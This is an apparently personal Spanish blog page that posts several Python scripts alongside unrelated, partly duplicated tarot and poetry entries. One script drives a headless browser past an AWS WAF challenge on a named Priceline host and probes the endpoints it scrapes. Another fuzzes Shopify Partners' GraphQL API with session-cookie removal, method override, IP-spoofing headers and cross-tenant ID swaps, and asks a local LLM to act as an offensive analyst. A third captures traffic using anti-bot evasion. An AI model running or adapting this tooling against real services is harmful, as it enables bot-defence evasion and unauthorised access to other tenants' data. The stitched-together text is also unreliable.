chupamelapolla.py
#!/usr/bin/env python3
import sys
import re
import time
import urllib.parse
from bs4 import BeautifulSoup
from curl_cffi import requests
from playwright.sync_api import sync_playwright
TARGET_URL = "https://qaa.booking.priceline.com"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
"Accept-Language": "es-ES,es;q=0.9,en;q=0.8",
}
PATRONES_ENDPOINTS = [
re.compile(r"['\"`](/(?:api|v[0-9]|internal|graphql|auth|debug|c360|sink|report)/[a-zA-Z0-9_\-/]+)['\"`]", re.IGNORECASE),
re.compile(r"['\"`](https?://[a-zA-Z0-9\-\.]+(?:/[a-zA-Z0-9_\-/]+)+)['\"`]", re.IGNORECASE)
]
def obtener_html_y_cookies_con_playwright(url_base):
print(f"[*] Iniciando navegador autónomo para superar el reto AWS WAF...")
try:
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
context = browser.new_context(
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
)
page = context.new_page()
print(f"[*] Cargando {url_base}...")
page.goto(url_base, wait_until="networkidle", timeout=30000)
# Margen para que el WAF resuelva el desafío criptográfico y cargue el DOM
time.sleep(6)
html_inicial = page.content()
cookies_raw = context.cookies()
browser.close()
cookies_dict = {c['name']: c['value'] for c in cookies_raw}
return html_inicial, cookies_dict
except Exception as e:
print(f"[!] Error ejecutando Playwright: {e}")
return None, {}
def extraer_endpoints_de_script(session, url_js):
endpoints = set()
try:
response = session.get(url_js, headers=HEADERS, timeout=10)
if response.status_code != 200:
return endpoints
contenido = response.text
for patron in PATRONES_ENDPOINTS:
matches = patron.findall(contenido)
for m in matches:
if len(m) > 3 and not m.endswith(('.js', '.css', '.png', '.jpg', '.ico', '.woff2')):
endpoints.add(m)
except:
pass
return endpoints
def probar_endpoint(session, url_base, endpoint):
target = endpoint if endpoint.startswith("http") else urllib.parse.urljoin(url_base, endpoint)
resultados = []
for metodo in ["GET", "POST", "OPTIONS"]:
try:
if metodo == "GET":
res = session.get(target, headers=HEADERS, timeout=5, allow_redirects=False)
elif metodo == "POST":
res = session.post(target, headers=HEADERS, timeout=5, allow_redirects=False)
elif metodo == "OPTIONS":
res = session.options(target, headers=HEADERS, timeout=5, allow_redirects=False)
if res.status_code not in [404, 403]:
resultados.append((metodo, res.status_code))
except:
pass
return target, resultados
if __name__ == "__main__":
print(f"[*] GodOfLima Playwright Bypass Suite para: {TARGET_URL}\n")
html_inicial, cookies = obtener_html_y_cookies_con_playwright(TARGET_URL)
if not html_inicial or not cookies:
print("[-] No se pudo superar el reto o recuperar contenido.")
sys.exit(1)
print(f"[+] ¡Reto superado! Se obtuvieron {len(cookies)} cookies de sesión.")
soup = BeautifulSoup(html_inicial, 'html.parser')
urls_js = set()
for script in soup.find_all('script', src=True):
src = script['src']
urls_js.add(urllib.parse.urljoin(TARGET_URL, src))
lista_js = list(urls_js)
print(f"[+] Total de archivos JavaScript descubiertos: {len(lista_js)}")
if not lista_js:
print("[-] No se encontraron scripts en la página principal tras el bypass.")
sys.exit(1)
session = requests.Session(impersonate="chrome120")
for name, value in cookies.items():
session.cookies.set(name, value, domain="priceline.com")
endpoints_totales = set()
print("[*] Analizando scripts en busca de rutas ocultas...")
for idx, js_url in enumerate(lista_js, 1):
print(f" -> Analizando script {idx}/{len(lista_js)}", end="\r")
rutes = extraer_endpoints_de_script(session, js_url)
endpoints_totales.update(rutes)
print(f"\n[+] Endpoints y rutas únicas descubiertas: {len(endpoints_totales)}")
print("[*] Probando accesibilidad y métodos HTTP...\n")
hallazgos_activos = 0
for ep in sorted(endpoints_totales):
target_url, respuestas = probar_endpoint(session, TARGET_URL, ep)
if respuestas:
print(f" [!] {target_url}")
for met, code in respuestas:
print(f" -> Método: {met} | Estado HTTP: {code}")
hallazgos_activos += 1
print(f"\n[*] Auditoría completada. Endpoints con respuesta activa/relevante: {hallazgos_activos}")
Más allá de la filosofía
viernes, 16 de octubre de 2026
La cara de tonto de Abascal.
domingo, 11 de octubre de 2026
import json
import requests
import ollama
# ==========================================
# CONFIGURACIÓN DE ENTORNO
# ==========================================
OLLAMA_HOST = "http://192.168.1.128:11434"
MODEL_NAME = "phi3"
client = ollama.Client(host=OLLAMA_HOST)
TARGET_URL = "https://partners.shopify.com/5244395/api/graphql"
# Base de cabeceras legítimas (Sustituye 'TU_COOKIE_REAL_AQUI' con la real de tu sesión)
BASE_HEADERS = {
"Host": "partners.shopify.com",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Content-Type": "application/json",
"Cookie": "auth_session_id=TU_COOKIE_REAL_AQUI"
}
def generar_pruebas_perimetro(mutation_base):
"""Genera variantes de fuzzing de cabeceras y métodos para evaluar el perímetro."""
pruebas = []
# 1. Bypass por omisión de Cookie
h_sin_cookie = BASE_HEADERS.copy()
h_sin_cookie.pop("Cookie", None)
pruebas.append({
"tipo": "Fuzzing Perimetral: Sin Cookie de Sesión",
"headers": h_sin_cookie,
"payload": mutation_base,
"method": "POST"
})
# 2. Bypass por reescritura de método HTTP (X-HTTP-Method-Override)
h_override = BASE_HEADERS.copy()
h_override["X-HTTP-Method-Override"] = "GET"
pruebas.append({
"tipo": "Fuzzing Perimetral: HTTP Method Override (GET)",
"headers": h_override,
"payload": mutation_base,
"method": "POST"
})
# 3. Inyección de cabeceras de reescritura de origen / IP Spoofing
h_spoof = BASE_HEADERS.copy()
h_spoof["X-Forwarded-For"] = "127.0.0.1"
h_spoof["X-Original-URL"] = "/api/graphql"
pruebas.append({
"tipo": "Fuzzing Perimetral: Cabeceras de Reescritura / IP Spoofing",
"headers": h_spoof,
"payload": mutation_base,
"method": "POST"
})
return pruebas
def generar_pruebas_bola_cruzada(mutation_base):
"""Genera variantes de BOLA cruzando IDs reales (cuenta propia vs cuenta simulada ajena)."""
pruebas = []
mutacion_cruzada = json.loads(json.dumps(mutation_base))
if "variables" in mutacion_cruzada:
if "shopId" in mutacion_cruzada["variables"]:
mutacion_cruzada["variables"]["shopId"] = "987654321" # ID ajeno válido/existente de prueba
if "partnerId" in mutacion_cruzada["variables"]:
mutacion_cruzada["variables"]["partnerId"] = "543219876"
pruebas.append({
"tipo": "BOLA Cross-Tenant: IDs Cruzados Reales",
"headers": BASE_HEADERS,
"payload": mutacion_cruzada,
"method": "POST"
})
return pruebas
def ejecutar_peticion(test_case):
"""Ejecuta la petición HTTP configurada con control robusto de errores y timeouts."""
try:
if test_case["method"] == "POST":
response = requests.post(
TARGET_URL,
headers=test_case["headers"],
json=test_case["payload"],
timeout=(5, 10), # (Conexión, Lectura)
verify=True
)
else:
response = requests.get(
TARGET_URL,
headers=test_case["headers"],
timeout=(5, 10),
verify=True
)
return {
"status_code": response.status_code,
"headers_clave": {k: v for k, v in response.headers.items() if k.lower() in ["server", "content-type", "cf-ray"]},
"body_resumen": response.text[:200]
}
except requests.exceptions.Timeout:
return {"error": "Timeout: El servidor tardó demasiado en responder."}
except requests.exceptions.ConnectionError:
return {"error": "Error de conexión con el objetivo."}
except Exception as e:
return {"error": str(e)}
def analizar_con_ia(tipo_prueba, respuesta):
"""Envía un resumen ultracorto a Ollama con temperatura baja para evitar alucinaciones."""
if "error" in respuesta:
return f"[!] Omitiendo análisis de IA por fallo de red: {respuesta['error']}"
prompt = f"""
Actúa como analista de seguridad ofensiva.
Analiza esta prueba en la API GraphQL de Shopify:
- Vector: {tipo_prueba}
- Código HTTP de respuesta: {respuesta.get('status_code')}
Responde brevemente en español:
1. ¿El WAF o control de acceso bloqueó correctamente la petición?
2. ¿Hay algún indicio de fallo lógico o bypass?
"""
try:
response = client.chat(
model=MODEL_NAME,
messages=[{"role": "user", "content": prompt}],
options={"temperature": 0.1} # Temperatura baja estricta
)
return response['message']['content']
except Exception as e:
return f"[!] Error al conectar con Ollama: {e}"
def main():
mutacion_original = {
"operationName": "AppUpdate",
"variables": {
"shopId": "123456",
"partnerId": "98765",
"appToken": "ijkl1234mnop5678",
"updateData": {
"description": "Prueba avanzada de seguridad"
}
}
}
print("[*] Iniciando batería de pruebas avanzadas (Fuzzing Perimetral + BOLA Cruzada)...")
bateria_pruebas = generar_pruebas_perimetro(mutacion_original) + generar_pruebas_bola_cruzada(mutacion_original)
for idx, test in enumerate(bateria_pruebas, 1):
print(f"\n" + "="*60)
print(f"[*] Ejecutando Caso #{idx}: {test['tipo']}")
print("="*60)
# 1. Ejecutar petición real
res_http = ejecutar_peticion(test)
print(f"[+] Código HTTP recibido: {res_http.get('status_code', res_http.get('error', 'Error'))}")
# 2. Análisis con Ollama (GPU) blindado
print("[*] Analizando respuesta con Ollama...")
analisis = analizar_con_ia(test['tipo'], res_http)
print(analisis)
if __name__ == "__main__":
main()
import json
import os
import ollama
# Configurar el cliente para apuntar al servidor de Ollama en el anfitrión de Windows
OLLAMA_HOST = "http://192.168.1.128:11434"
MODEL_NAME = "phi3"
client = ollama.Client(host=OLLAMA_HOST)
def cargar_peticiones(archivo_json):
"""Carga el archivo de peticiones GraphQL capturadas."""
if not os.path.exists(archivo_json):
print(f"[!] No se encontró el archivo {archivo_json}")
return []
with open(archivo_json, 'r', encoding='utf-8') as f:
try:
return json.load(f)
except json.JSONDecodeError as e:
print(f"[!] Error al decodificar el JSON: {e}")
return []
def analizar_peticion_avanzada(graphql_query):
"""Envía la consulta GraphQL a la IA buscando BOLA, fugas de campos e IDOR."""
prompt = f"""
Eres un auditor experto en seguridad ofensiva especializado en APIs GraphQL de nivel empresarial.
Analiza la siguiente consulta, mutación o esquema GraphQL en busca de vulnerabilidades avanzadas:
1. **BOLA (Broken Object Level Authorization):** ¿Se pasa un ID de recurso (ej. shopId, partnerId, appToken, userId) manipulable sin verificar si pertenece al contexto de la sesión actual?
2. **Fugas de Campos Sensibles / Over-fetching:** ¿Se solicitan campos internos, metadatos de base de datos, tokens de acceso, correos electrónicos o información de infraestructura que no debería estar expuesta al cliente?
3. **Manipulación de Mutaciones (Mass Assignment / IDOR):** ¿Permite modificar o eliminar recursos de terceros alterando únicamente los identificadores en las variables o argumentos?
Consulta GraphQL:
{graphql_query}
Proporciona un informe estructurado con:
- **Vector evaluado** (BOLA / Fuga de campos / IDOR / Seguro)
- **Nivel de Riesgo** (Crítico / Alto / Medio / Bajo)
- **Análisis técnico detallado** del porqué representa una debilidad.
- **Payload de prueba o sugerencia de fuzzing** para verificar la vulnerabilidad de forma práctica.
"""
try:
response = client.chat(
model=MODEL_NAME,
messages=[{"role": "user", "content": prompt}]
)
return response['message']['content']
except Exception as e:
return f"[!] Error al conectar con Ollama: {e}"
def main():
archivo = "graphql_captured.json"
peticiones = cargar_peticiones(archivo)
if not peticiones:
print("[!] No hay peticiones para analizar.")
return
print(f"[*] Analizando {len(peticiones)} peticiones con lógica avanzada (BOLA/Fugas) usando Ollama...\n")
for idx, peticion in enumerate(peticiones, 1):
print(f"--- [ Análisis Avanzado de Petición #{idx} ] ---")
query_text = peticion.get("query", str(peticion))
resultado = analizar_peticion_avanzada(query_text)
print(resultado)
print("=" * 60 + "\n")
if __name__ == "__main__":
main()
me gusta hackear y poner a tope esta canción de ramstein del dicso rise rise . Amour amour. na na - na na na. y asutar a los vecinos con los bafles a tope. Y gritar. gritar.
alas-hunter.py
import json
import os
from time import sleep
from playwright.sync_api import sync_playwright
output_file = "graphql_captured.json"
# Inicializamos el archivo JSON de captura al vuelo
with open(output_file, "w", encoding="utf-8") as f:
json.dump([], f)
with sync_playwright() as p:
# Usamos un perfil persistente para que una vez logueado, no tengas que volver a pasar por el login
user_data_dir = os.path.expanduser("./shopify_hunter_profile")
print(f"[*] Usando perfil persistente en: {user_data_dir}")
context = p.chromium.launch_persistent_context(
user_data_dir=user_data_dir,
headless=False,
args=[
"--disable-blink-features=AutomationControlled",
"--disable-infobars",
"--no-sandbox",
"--disable-dev-shm-usage",
"--start-maximized"
],
user_agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
viewport={"width": 1280, "height": 800}
)
# Parche anti-detección de webdriver
context.add_init_script("""
Object.defineProperty(navigator, 'webdriver', { get: () => undefined });
window.navigator.chrome = { runtime: {} };
""")
page = context.new_page() if not context.pages else context.pages[0]
# Interceptor de GraphQL orientado a Bug Bounty (captura peticiones, cabeceras, tokens y mutaciones)
def on_request(req):
if "graphql" in req.url:
method = req.method
post_data = req.post_data
# Filtro visual rápido en consola
op_name = "Desconocida"
if post_data:
try:
body_json = json.loads(post_data)
op_name = body_json.get("operationName", "CustomQuery")
except:
pass
print(f"[+] GraphQL [{method}] -> Op: {op_name}")
try:
with open(output_file, "r+", encoding="utf-8") as f:
data = json.load(f)
data.append({
"url": req.url,
"method": method,
"headers": dict(req.headers),
"post_data": post_data
})
f.seek(0)
json.dump(data, f, indent=4)
f.truncate()
except Exception as e:
print(f"[-] Error guardando petición: {e}")
page.on("request", on_request)
print("[*] Abriendo Shopify Partners...")
page.goto("https://partners.shopify.com/")
# Automatización inteligente del flujo de login inicial si no hay sesión activa
try:
# 1. Comprobamos si estamos en la página de bienvenida y buscamos el botón de login general
login_btn_selectors = [
"a[href*='login']",
"text=Log in",
"text=Iniciar sesión",
"button:has-text('Log in')"
]
for selector in login_btn_selectors:
if page.locator(selector).count() > 0:
print("[*] Botón de inicio de sesión detectado. Haciendo clic...")
page.click(selector)
page.wait_for_load_timeout(2000)
break
# 2. Buscamos el campo de correo electrónico de forma resiliente
email_selector = "input[type='email'], input#account_email, input[name='email']"
if page.locator(email_selector).count() > 0:
print("[*] Campo de correo localizado. Escribiendo email de forma humana...")
page.click(email_selector)
# Escribir con un pequeño retraso milimétrico para evitar bloqueos anti-bot por velocidad
page.type(email_selector, "tu-puta-vaina@gmail.com", delay=100)
sleep(1)
print("[*] Enviando formulario (Pulsando Enter)...")
page.press(email_selector, "Enter")
else:
print("[*] Es posible que ya exista una sesión activa o el DOM sea diferente. Revisa la ventana.")
except Exception as e:
print(f"[*] Nota durante el flujo automático: {e}")
print("\n" + "="*60)
print(" MODO BUG BOUNTY ACTIVO - CAPTURA DE TRÁFICO")
print(" 1. Completa la contraseña o verifica si ya estás dentro.")
print(" 2. Navega, crea apps o bórralas para auditar las mutaciones.")
print(" 3. Pulsa [Ctrl + C] en esta terminal cuando termines para cerrar.")
print("="*60 + "\n")
try:
while True:
sleep(1)
except KeyboardInterrupt:
print("\n[*] Saliendo... Datos guardados correctamente en 'graphql_captured.json'.")
browser.close()
No existen y ya nos llamán.
>
>
>
>
>
>
A lo mejor soy - papá - parece que Sol + reina Oros. Estoy pensándolo, papá a la una, papá a las tres, en fin. No sé si estoy preparado . Vaya, yo no - ovulo - con la luna. Ay... en fin decía el poeta para que sirve el tiempo, el teimpo sirve para que curas y médicos corran p or los caminos. Asi estan mis sobrina que sino hay - bebé - mefáfora - pasan de mi, hasta que tenga un bebé metáfora, las voy a acender a canguros de mi futuro bebé - promesa. Vaya vaya que pensamientos más extraños me siento como solo un peón en un juego. No sé, Aout o si es nena pues Virgo. Yo que soy un corazonadas de bukowskis, y pensamietnos relacionales. Pensando en un bebe - metáfora ó bebé - promesa. Esto me pasa por hacer el tarot. Aunque debe ser bonito que una ve exista el universo ser mujer y ovular conmigo . Je je je. Tengo dos futuras canguro, listas para la larga crianza. Esto me hace reir. QUe bien me vienen mis sobrinas. Y familia , restante. Para perpetrar - hijos - . Es que tener hijos es muy dificil, muy dificil. Yo crie a mis sobrinas, es una condena a perpetuidad, pero para qué existe una vez el universo, el universo quiere continuar - prevalecer - . Ahí desahogando mis penas - hijisticas - a mis 47 años en plan un bukowski moderado pero también un hijo de san bartolome. sententcio a pesar de todo, lo malo y enfermo que es este mundo que Aout nacera, y Virgo o al reves, a lo mejor. Porque una vez fué el mundo y una vez existió - todo - . No existen y ya nos llaman - desde el tarot - y rozan el mundo con sus deditos almísticos. Por otro lado el tarat me está llamando - fertíl - ja ja ja en segundo - plano - . Ella es rica y muy generosa - en tercer plano - . Sentencia el tarot y sus símbolos. Veo a mi fmilia muy receptiva a la hora de tener bebés, estoes un punto a mi favor. J ja ja ja. Papá abordo. Ja ja ja ja. ja ja ja. En fin. >
>
>
>
>
La nouvelle punk presenta - la poesia - como un arma , como un arma cargada de futuro. Para que continué la poderosa - obra - porqeu una vez - existió - todo A nosotros que caemos , solo pasajeros... >
>
>
>
>
>
>
>
>
>
A lo mejor soy - papá - parece que Sol + reina Oros. Estoy pensándolo, papá a la una, papá a las tres, en fin. No sé si estoy preparado . Vaya, yo no - ovulo - con la luna. Ay... en fin decía el poeta para que sirve el tiempo, el teimpo sirve para que curas y médicos corran p or los caminos. Asi estan mis sobrina que sino hay - bebé - mefáfora - pasan de mi, hasta que tenga un bebé metáfora, las voy a acender a canguros de mi futuro bebé - promesa. Vaya vaya que pensamientos más extraños me siento como solo un peón en un juego. No sé, Aout o si es nena pues Virgo. Yo que soy un corazonadas de bukowskis, y pensamietnos relacionales. Pensando en un bebe - metáfora ó bebé - promesa. Esto me pasa por hacer el tarot. Aunque debe ser bonito que una ve exista el universo ser mujer y ovular conmigo . Je je je. Tengo dos futuras canguro, listas para la larga crianza. Esto me hace reir. QUe bien me vienen mis sobrinas. Y familia , restante. Para perpetrar - hijos - . Es que tener hijos es muy dificil, muy dificil. Yo crie a mis sobrinas, es una condena a perpetuidad, pero para qué existe una vez el universo, el universo quiere continuar - prevalecer - . Ahí desahogando mis penas - hijisticas - a mis 47 años en plan un bukowski moderado pero también un hijo de san bartolome. sententcio a pesar de todo, lo malo y enfermo que es este mundo que Aout nacera, y Virgo o al reves, a lo mejor. Porque una vez fué el mundo y una vez existió - todo - . No existen y ya nos llaman - desde el tarot - y rozan el mundo con sus deditos almísticos. Por otro lado el tarat me está llamando - fertíl - ja ja ja en segundo - plano - . Ella es rica y muy generosa - en tercer plano - . Sentencia el tarot y sus símbolos. Veo a mi fmilia muy receptiva a la hora de tener bebés, estoes un punto a mi favor. J ja ja ja. Papá abordo. Ja ja ja ja. ja ja ja. En fin. >
>
>
>
>
Hasta que el viento arrastra sus misteriosos átomos...
>La nouvelle punk presenta - la poesia - como un arma , como un arma cargada de futuro. Para que continué la poderosa - obra - porqeu una vez - existió - todo A nosotros que caemos , solo pasajeros... >
>
>
>
>
Suscribirse a:
Entradas (Atom)
La cara de tonto de Abascal.
chupamelapolla.py #!/usr/bin/env python3 import sys import re import time import urllib.parse from bs4 import BeautifulSoup f...
-
Si lees este capítulo suelto te puedes - reir - si no fuera por la cacho novela que hay detrás, entonces el que me - río ...